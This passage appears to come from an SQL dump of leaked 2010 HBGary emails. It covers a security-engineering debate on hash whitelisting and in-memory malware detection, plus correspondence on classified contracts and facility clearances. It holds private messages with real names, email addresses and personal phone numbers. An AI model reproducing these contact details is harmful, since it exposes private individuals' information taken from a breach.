&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $1,295&nbsp;The Deadline is August the 23rd.&nbsp;Please contact me at (703) 226-7011 or &nbsp;scott@executivebiz.com.&nbsp;To view our previous edition of the magazine, please visit&nbsp;www.govconexec.com.&nbsp;&nbsp;Scott W. RogersCOO ExecutiveBiz / Executive Mosaic(703) 226-7011&nbsp;\"We Connect Executives\"&nbsp;&nbsp;This message is a PRIVATE communication. If you are not the intended recipient, please do not read, copy, or use it, and do not disclose it to others. Please notify the sender of the delivery error by replying to this message, and then delete it from your system.&nbsp;&nbsp;&nbsp;',10520,'aaron_hbgary_com/10520.html'),(10693,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008262.M497253P14101Q5548.eml','\"Zosh\" <mydocs@zosh.com>','EWS','\r\n',7995,'aaron_hbgary_com/7995.html'),(10694,'2010-08-20','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297008262.M800263P14101Q5549.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Fri, Aug 20, \'10 at 6:04 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    EWSG.HBGARY.pdf\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7516,'aaron_hbgary_com/7516.html'),(10695,'2010-08-20','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008263.M221P14101Q5550.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,,,','Re: Hashes and Active Defense','I see hashes as complimenting DDNA.  I want to ID all unknown PE files\r\nin \\windows for example.  I will find potentially dormant files which\r\nwill at least tip me off that this system needs a deep dive.\r\n\r\nWe know that code injection can be used but all our APT so far would\r\nhave fallen victim to hashing.  Then we update DDNA with our newly\r\nfound malware.  Also many attacker tools run and then exit such as\r\nPTH.  DDNA will miss those.\r\nOn Friday, August 20, 2010, Greg Hoglund  wrote:\r\n>\r\n> Team,\r\n>\r\n> MD5 hashes (and SHA) are easy for customers to use, but they have one serious drawback.  They can only tell you that a program belongs to a set while it\'s at rest or in transit.  They cannot do that for files that are in execution.  If a program is trusted, for example, on disk - this means you can check the hash when the program is LAUNCHED.  This is fine, and trust is established.  However, as that program persists over time it can be the target of a code injection.  Fast forward to Active Defense - let\'s say we find a high scoring DDNA object in memory and we have the path to the source DLL on disk.  We can take the hash of the file on disk, of course - but that tells us nothing about our high scoring DDNA module in memory.  These are effectively two DIFFERENT files - the one in memory has been executing for some period of time, maybe days or weeks, and could be loaded with injected malware.  The DLL on disk being in Bit9\'s database has no meaning to us.\r\n>\r\n>\r\n> The above disclaimer aside, it\'s nearly trivial to add RawVolume.File.MD5 and RawVolume.File.SHA to the query language (we should not add LiveOS.Module.MD5 or anything like that - in memory we need to use fuzzy hashing because of the volatile nature).\r\n>\r\n>\r\n> Stated bluntly - here is what I am afraid will happen - you guys will get a clean on-disk MD5 hit on the cooresponding EXE for a high scoring module and auto whitelist it.  And, the malware gets away with it.  It\'s similar to what would happen today if a malware named it\'s process+module the same as one of them in our Active Defense whitelist.\r\n>\r\n>\r\n> Here is a second problem - why are non-malicious programs getting high DDNA scores?  Shouldn\'t we fix DDNA instead of layering a filter over it to mask the issue? In engineering this is known as a \'band aid solution\'.  That is, instead of fixing the bug in a software component, you layer a second software component over the first to mask it.  It\'s a huge no-no.  So, in this case, adding MD5 whitelisting is like masking a bug in DDNA.  DDNA should not be scoring high on lotus notes or microsoft word.  That is a bug that needs to be filed.  If we add auto whitelisting we will no longer see these problems in DDNA, they will be hidden from us.\r\n>\r\n>\r\n> -Greg\r\n>\r\n>\r\n>\r\n> On Fri, Aug 20, 2010 at 7:28 AM, Rich Cummings  wrote:\r\n>\r\n>\r\n>\r\n> Support ticket already in.  J\r\n>\r\n>\r\n>\r\n> From: Phil Wallisch [mailto:phil@hbgary.com]\r\n> Sent: Friday, August 20, 2010 10:28 AM\r\n> To: Rich Cummings\r\n> Cc: Penny Leavy; Aaron Barr; Maria Lucas; Greg Hoglund; Mike Spohn; Joe Pizzo\r\n>\r\n>\r\n>\r\n> Subject: Re: Ted met with Bit9\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Yes please do add that support ticket.  I for one, totally agree.  Instead of hashes dying out with tradional disk imaging they are gaining in popularity.\r\n>\r\n> Now even Joe Sixpack (home user) can easily leverage Team Cymru\'s DB:  http://krebsonsecurity.com/2010/08/reintroducing-the-malware-hash-registry/\r\n>\r\n> Shadowserver has a new free hash service:  http://bin-test.shadowserver.org/\r\n>\r\n>\r\n>\r\n>\r\n> On Fri, Aug 20, 2010 at 10:12 AM, Rich Cummings  wrote:\r\n>\r\n>\r\n>\r\n> There are 2 things at play here regarding the Bit9 stuff.\r\n>\r\n> 1.       Bit 9 OEM’s their MD5 hash database to Guidance Software.  I assume that is what Mandiant is doing too.  Guidance doesn’t integrate with Bit9 software to do white listing and block applications from running.  The encase integration is an enscript that performs a look up to the Bit9 DB check to see if there are any *matches* in the data base for the MD5’s that Encase finds on the disk… If there are then Encase provides the Bit9 intelligence about the file it knows about.\r\n>\r\n> 2.       Bit9 has a commercial white listing enterprise product with an agent that gets installed on the end point.  The agent doesn’t allow applications to run on the end node machines unless the MD5 hash is first approved by Bit9.  Neither Guidance nor Mandiant use this technology.\r\n>\r\n>\r\n> John Hopkins Applied Physics Lab has the latter and I saw it in action when I was doing the POC with them.   We had to approve the DDNA.exe file with Bit9 before it would install and run successfully.  They said they like bit9 but sometimes legitimate applications don’t run properly.\r\n>\r\n>\r\n> Los Alamos asked when we’re going to start using MD5 hashes in Active Defense while I was onsite this week.  I’m adding this to a support ticket to get into Engineering queue.\r\n>\r\n>\r\n> Bottom line is that MD5 hashes (and the SHA hashes) are the standard for all digital forensics on disk.  With that said Active Defense can benefit from starting to utilize MD5 hashes or SHA-1 or SHA-256 hashes for a number of reasons.\r\n>\r\n> 1.       To verify integrity of files i.e. when I find a piece of malware, I hash it.  When I send this file to someone, they can hash it first to make sure they have an exact bit-for-bit image of the malware.  This applies to Memory Snapshots and files copied off remote machines like the SAM file, index.dats, prefetch files, etc.\r\n>\r\n> 2.       Identify known good and bad files but also Active Defense needs to start incorporating.\r\n>\r\n> 3.       The requests I got this week from Los Alamos were to include MD5 hashes in Scan Policy should include RAWVOLUME.FILE -> if name =  blah AND MD5 = 23049830498230489203984203984\r\n>\r\n>\r\n> Rich\r\n>\r\n>\r\n>\r\n> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Friday, August 20, 2010 9:44 AM\r\n> To: \'Aaron Barr\'; \'Maria Lucas\'\r\n> Cc: \'Greg Hoglund\'; \'Rich Cummings\'; \'Michael G. Spohn\'; \'Phil Wallisch\'; \'Joe Pizzo\'\r\n> Subject: RE: Ted met with Bit9\r\n>\r\n>\r\n>\r\n>\r\n> It doesn’t get rid of our false positives.  We’ve already checked\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, August 19, 2010 11:37 AM\r\n> To: Maria Lucas\r\n> Cc: Penny C. Hoglund; Greg Hoglund; Rich Cummings; Michael G. Spohn; Phil Wallisch; Joe Pizzo\r\n> Subject: Re: Ted met with Bit9\r\n>\r\n>\r\n> Reduction of false positives would be good.  InQtel told me the only reason they funded FireEye was because of extremely low false positives. Didn\'t matter as much how much much they caught.\r\n>\r\n>\r\n>\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n>\r\n>\r\n> On Aug 19, 2010, at 2:31 PM, Maria Lucas  wrote:\r\n>\r\n>\r\n>\r\n> Bit9 stopped by the booth.  They have an OEM white listing service that Mandiant and Guidance Software both use.  Ted understood that it may be beneficial to consider this for Active Defense to help reduce false positives.\r\n>\r\n>\r\n>\r\n>\r\n> They have OEM pricing and will would like to setup a telecom to discuss if we are interested?\r\n>\r\n>\r\n>\r\n> From a sales perspective I have agreed to work with the Federal Sales team in the same way we work with Fidelus -- to share leads and account opportunities....Maria\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> --\r\n> Phil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n>\r\n> Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n>\r\n> Website: http://www.hbgary.com  | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n>\r\n>\r\n\r\n-- \r\nPhil Wallisch | Sr. Security Engineer | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\nhttps://www.hbgary.com/community/phils-blog/\r\n',10828,'aaron_hbgary_com/10828.html'),(10696,'2010-08-20','arc@westfields.net','/aaron@hbgary.com/new/1297008263.M234252P14101Q5551.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7369,'aaron_hbgary_com/7369.html'),(10697,'2010-08-20','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008263.M440326P14101Q5552.eml','\"Inc. HBGARY\" <All@hbgary.com>','I will be out of office for the rest of the day','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you need to contact me please call 408-646-1926.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3058,'aaron_hbgary_com/3058.html'),(10698,'2010-08-20','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008263.M699729P14101Q5553.eml','aaron@hbgary.com,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Top Secret Security Facilities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease confirm back that you have a Top Secret Security Facility\r\n(required by TSA for all companies).\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14545,'aaron_hbgary_com/14545.html'),(10699,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008263.M899386P14101Q5554.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Top Secret Security Facilities','I don\'t.On Aug 20, 2010, at 3:35 PM, John Fanguy wrote:Please confirm back that you have a Top Secret Security Facility (required by TSA for all companies).&nbsp;Thanks,&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',9417,'aaron_hbgary_com/9417.html'),(10700,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008264.M116400P14101Q5555.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Top Secret Security Facilities','I thought we could just use the Primes facility? No.On Aug 20, 2010, at 3:35 PM, John Fanguy wrote:Please confirm back that you have a Top Secret Security Facility (required by TSA for all companies).&nbsp;Thanks,&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',15173,'aaron_hbgary_com/15173.html'),(10701,'2010-08-20','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297008264.M313496P14101Q5556.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Nick Abid and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 20, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n        Latest:\r\n\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Senior Analyst, Aviation Acquisition, Production, Supply Chain Management\r\n           Add a comment  &raquo;\r\n\r\n         Posted by Nick Abid, Director, Business Operations at OMNITEC Solutions\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 75 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',8277,'aaron_hbgary_com/8277.html'),(10702,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008264.M506539P14101Q5557.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Top Secret Security Facilities','\r\n\r\n1.4 FACILITY CLEARANCEThe Contractor and any subcontractor(s) shall provide\r\nspecial handling for TOP SECRET collateral classified and/or sensitive but\r\nunclassified (SBU) data.&nbsp; As such,\r\nthe Contractor and any subcontractor(s) shall possess and maintain a current\r\nfacility clearance at least at the TOP SECRET level.&nbsp; The prime contractor is responsible for ensuring that they\r\nand any subcontractor(s) comply with the provisions of the National Industrial\r\nSecurity Program Operating Manual (NISPOM).&nbsp; \r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:35 PM, John Fanguy wrote:Please confirm back that you have a Top Secret Security Facility (required by TSA for all companies).&nbsp;Thanks,&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',8661,'aaron_hbgary_com/8661.html'),(10703,'2010-08-20','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008264.M703607P14101Q5558.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Top Secret Security Facilities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can sponsor you, btw, to get it.&nbsp; I&#8217;ll double-check but I\r\nthink every sub needs it.&nbsp; No biggee: the HBGary logo for the sw company will\r\nstill be in there and you&#8217;ll get your percentage workshare.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 20, 2010 3:37 PM\r\nTo: John Fanguy\r\nSubject: Re: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI don\'t.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 3:35 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nconfirm back that you have a Top Secret Security Facility (required by TSA for\r\nall companies).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15549,'aaron_hbgary_com/15549.html'),(10704,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008264.M902266P14101Q5559.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Top Secret Security Facilities','Sent from my iPadBegin forwarded message:From: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nDate: August 20, 2010 3:54:11 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Top Secret Security Facilities\r\n\r\n\r\n\r\n\r\nWe can sponsor you, btw, to get it.  I’ll double-check but I\r\nthink every sub needs it.  No biggee: the HBGary logo for the sw company will\r\nstill be in there and you’ll get your percentage workshare.\r\n\r\n \r\n\r\n\r\n\r\n-John\r\n\r\n \r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron 